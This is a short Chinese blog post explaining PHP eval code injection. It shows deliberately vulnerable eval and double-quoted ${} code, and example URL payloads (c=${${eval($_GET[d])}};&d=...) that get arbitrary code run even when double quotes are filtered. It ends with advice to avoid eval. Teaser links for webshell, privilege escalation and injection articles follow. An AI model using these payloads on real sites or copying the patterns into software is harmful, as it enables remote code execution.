PHP的一个EVAL的利用防范

所属分类: 网络安全 / 脚本攻防 阅读数: 264
收藏 0 赞 0 分享

作者:phpeval

前段时间一个程序出的问题。就和这差不多。


复制代码
代码如下:

<?php
$code="${${eval($_GET[c])}}";
?>

对于上面的代码。如果在URL提交http://www.phpeval.cn/test.php?c=phpinfo(); 就可以发现phpinfo()被执行了。而相应的提交c=echo 11111; 发现1111也被输出了。这个代码被执行了。

(好些PHP的代码在写文件的时候。都没有注意到这一点。他们在代码中写php的文件的时候。把代码加在双引号之内。然后过滤掉双引号。认为这样就不能执行了。实际上是可以的。)
还有一些利用方式,比如:


复制代码
代码如下:

<?php
$code=addslashes($_GET[c]);
eval(""$code"");
?>

提交 http://www.site.cn/test.php?c=${${phpinfo()}}; phpinfo()就被执行。如果提交
http://www.site.cn/test.php?c=${${eval($_GET[d])}};&d=phpinfo();

这样的话,d后面的代码也被执行。

解决方法:

eval函数减弱了你的应用的安全性,因为它给被求值的文本赋予了太多的权力。强烈建议不要使用eval函数。

更多精彩内容其他人还在看

mysql的user.MYD数据库连接密码hash值无法用winhex打开等

提权时,当下载mysql的user.MYD数据库连接密码hash值无法用winhex等十六进制编辑器查看时
收藏 0 赞 0 分享

反常规and 1=1的or 1=2注入技巧

春节呆在家里上网,我表哥突然找我说要一个DJ网站的VIP会员,说搞定后请我吃KFC,于是就答应了。
收藏 0 赞 0 分享

利用星外虚拟机的入侵 经验分析

近日帮朋友搞一个小站,本来以为很快就能搞定 结果花了不少时间。不得不说能力有限呀。
收藏 0 赞 0 分享

webshell提权经验分享

可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
收藏 0 赞 0 分享

MSSQL中两种特别的执行命令的方法

现在很多计算机可以执行命令的方法都被人封得抓狂,就算有幸可以执行,也有可能CMD被改了权限,所以我推荐的办法是有能力的同学自己开发DLL,然后把DLL写入到对方计算机中,再注册为存储过程.
收藏 0 赞 0 分享

Ecshop后台拿shell方法总结

Ecshop后台拿shell方法总结,正在使用ecshop建站的朋友一定要注意升级。
收藏 0 赞 0 分享

Z-blog后台拿SHELL方法总结

Z-blog后台拿SHELL方法很多关键看你有没有本事进后台,逍遥复仇整理三种常用简单后台拿SHELL的方法供大家参考
收藏 0 赞 0 分享

php注入基本步骤小结

php注入基本步骤小结,我们在编写代码的时候一定要注意注入点。
收藏 0 赞 0 分享

upfile asp文件上传 又一奇迹般的突破

不知道各位。在上传的时候。 有没需要过。 一个上传。 不修改名字。。然后上传目录已经被程序所定义了。
收藏 0 赞 0 分享

浅说双引号被过滤时一句话的插入与防范

昨日小刀刀在群里抛了一个问题,说后台插入一句话老是出错,群里的朋友出了很多主意,但是最后还是没搞定。后来这小子把问题抛给了我,昨天我就测试了一下。这里把情况介绍给大家。
收藏 0 赞 0 分享
查看更多